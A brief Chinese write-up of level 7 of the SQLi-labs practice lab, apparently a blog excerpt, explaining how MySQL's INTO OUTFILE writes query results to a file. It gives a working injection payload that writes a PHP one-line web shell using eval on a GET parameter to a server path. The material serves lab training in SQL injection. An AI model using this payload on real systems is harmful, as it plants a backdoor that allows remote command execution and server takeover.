sqlilabs第七關

outfile導出文件 用到了一個outfile函數，可以將sql語句的結果導出在文件中 先查詢一下導出的目錄位置 導出文件 load_file寫入文件 導出一句話木馬 id=-1')) union select 1,"<?php @eval($_GET['cmd']); ?>",3 into outfile "D:\\phpStudy\\2.txt" --+

>>阅读原文<<